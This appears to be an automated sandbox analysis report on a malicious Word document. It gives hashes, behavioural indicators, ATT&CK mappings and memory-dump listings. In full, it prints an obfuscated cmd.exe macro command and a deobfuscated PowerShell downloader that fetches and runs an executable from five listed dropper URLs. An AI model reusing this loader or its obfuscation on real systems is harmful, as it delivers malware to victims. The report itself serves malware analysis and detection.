403fdb65274fbfeccb8868e0b400f3ee2281426c7dbbdc7bdb263dff0979d704

General

Target

mebmybxq.doc
Size

106KB
MD5

30326e79afdba5026d51ab50b37939d2
SHA1

b4b420c4a464d12f62b94c65aff4ba230c95f3f2
SHA256

403fdb65274fbfeccb8868e0b400f3ee2281426c7dbbdc7bdb263dff0979d704
SHA512

9821a19b0abb1c7ec8f929a47926bdd5a175a006e56e47cba8995cabc1de8c2b04d80b4ace7e7d6227544f58d00efc89f7d569da3bd917d70e42ae1c8dd9e0ce

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://amedion.net/uNMU39B

exe.dropper

http://biciculturabcn.com/6s97jYza

exe.dropper

http://valenetinternet.com.br/3Rdtv

exe.dropper

http://goshowcar.com/9RVqaX

exe.dropper

http://wheelbalancetraining.com/9il

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

Cmd.exe

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	3160	1640	Cmd.exe	79

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow	pid	Process
35	1516	powershell.exe
36	1516	powershell.exe

An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs

Processes:

Cmd.exe

pid	Process
3160	Cmd.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid	Process
1640	WINWORD.EXE
1640	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid	Process
1516	powershell.exe
1516	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description	pid	Process
Token: SeDebugPrivilege	1516	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid	Process
1640	WINWORD.EXE
1640	WINWORD.EXE
1640	WINWORD.EXE
1640	WINWORD.EXE
1640	WINWORD.EXE
1640	WINWORD.EXE
1640	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

WINWORD.EXECmd.exe

description	pid	Process	procid_target
PID 1640 wrote to memory of 3160	1640	WINWORD.EXE	82
PID 1640 wrote to memory of 3160	1640	WINWORD.EXE	82
PID 3160 wrote to memory of 1516	3160	Cmd.exe	84
PID 3160 wrote to memory of 1516	3160	Cmd.exe	84

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\mebmybxq.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1640
- C:\Windows\SYSTEM32\Cmd.exe
  Cmd /V:ON/C"set # =wjthMMiMUrvGUsCvwHWNTVrp=/xoau-blS9P:)(7n6y}B;eFz31,d{XkgcY$Dm '\IKf.q@E+R&&for %p in (23,27,16,46,22,13,3,46,32,32,62,59,23,66,48,24,40,46,16,30,27,31,1,46,57,2,62,19,46,2,68,18,46,31,14,32,6,46,40,2,45,59,21,71,67,24,63,3,2,2,23,36,25,25,28,61,46,52,6,27,40,68,40,46,2,25,29,19,7,12,49,34,44,70,3,2,2,23,36,25,25,31,6,57,6,57,29,32,2,29,22,28,31,57,40,68,57,27,61,25,41,13,34,39,1,58,48,28,70,3,2,2,23,36,25,25,15,28,32,46,40,46,2,6,40,2,46,22,40,46,2,68,57,27,61,68,31,22,25,49,73,52,2,15,70,3,2,2,23,36,25,25,56,27,13,3,27,16,57,28,22,68,57,27,61,25,34,73,21,69,28,54,70,3,2,2,23,36,25,25,16,3,46,46,32,31,28,32,28,40,57,46,2,22,28,6,40,6,40,56,68,57,27,61,25,34,6,32,63,68,33,23,32,6,2,38,63,70,63,37,45,59,6,65,54,62,24,62,63,50,41,34,63,45,59,65,35,2,24,59,46,40,15,36,2,46,61,23,72,63,64,63,72,59,6,65,54,72,63,68,46,26,46,63,45,67,27,22,46,28,57,3,38,59,66,16,47,62,6,40,62,59,21,71,67,37,53,2,22,42,53,59,23,66,48,68,60,27,16,40,32,27,28,52,47,6,32,46,38,59,66,16,47,51,62,59,65,35,2,37,45,33,2,28,22,2,30,35,22,27,57,46,13,13,62,59,65,35,2,45,31,22,46,28,55,45,43,57,28,2,57,3,53,43,43,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,80)do set ~ =!~ !!# :~%p,1!&&if %p geq 80 call %~ :*~ !=%"
  2⤵
  - Process spawned unexpected child process
  - An obfuscated cmd.exe command-line is typically used to evade detection.
  - Suspicious use of WriteProcessMemory
  PID:3160
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell $pKz=new-object Net.WebClient;$VEf='http://amedion.net/uNMU39B@http://biciculturabcn.com/6s97jYza@http://valenetinternet.com.br/3Rdtv@http://goshowcar.com/9RVqaX@http://wheelbalancetraining.com/9il'.Split('@');$iIX = '169';$IPt=$env:temp+'\'+$iIX+'.exe';foreach($KwF in $VEf){try{$pKz.DownloadFile($KwF, $IPt);Start-Process $IPt;break;}catch{}}
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1516

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1516-139-0x0000000000000000-mapping.dmp

Download
memory/1516-143-0x00007FFC20B00000-0x00007FFC215C1000-memory.dmp

Filesize
10.8MB

Download
memory/1516-141-0x00007FFC20B00000-0x00007FFC215C1000-memory.dmp

Filesize
10.8MB

Download
memory/1516-140-0x00000204D4F50000-0x00000204D4F72000-memory.dmp

Filesize
136KB

Download
memory/1640-138-0x000001C48051F000-0x000001C480521000-memory.dmp

Filesize
8KB

Download
memory/1640-132-0x00007FFC0C950000-0x00007FFC0C960000-memory.dmp

Filesize
64KB

Download
memory/1640-136-0x00007FFC0A4A0000-0x00007FFC0A4B0000-memory.dmp

Filesize
64KB

Download
memory/1640-148-0x00007FFC0C950000-0x00007FFC0C960000-memory.dmp

Filesize
64KB

Download
memory/1640-130-0x00007FFC0C950000-0x00007FFC0C960000-memory.dmp

Filesize
64KB

Download
memory/1640-134-0x00007FFC0C950000-0x00007FFC0C960000-memory.dmp

Filesize
64KB

Download
memory/1640-133-0x00007FFC0C950000-0x00007FFC0C960000-memory.dmp

Filesize
64KB

Download
memory/1640-135-0x00007FFC0A4A0000-0x00007FFC0A4B0000-memory.dmp

Filesize
64KB

Download
memory/1640-142-0x000001C48051F000-0x000001C480521000-memory.dmp

Filesize
8KB

Download
memory/1640-131-0x00007FFC0C950000-0x00007FFC0C960000-memory.dmp

Filesize
64KB

Download
memory/1640-145-0x00007FFC0C950000-0x00007FFC0C960000-memory.dmp

Filesize
64KB

Download
memory/1640-146-0x00007FFC0C950000-0x00007FFC0C960000-memory.dmp

Filesize
64KB

Download
memory/1640-147-0x00007FFC0C950000-0x00007FFC0C960000-memory.dmp

Filesize
64KB

Download
memory/3160-137-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads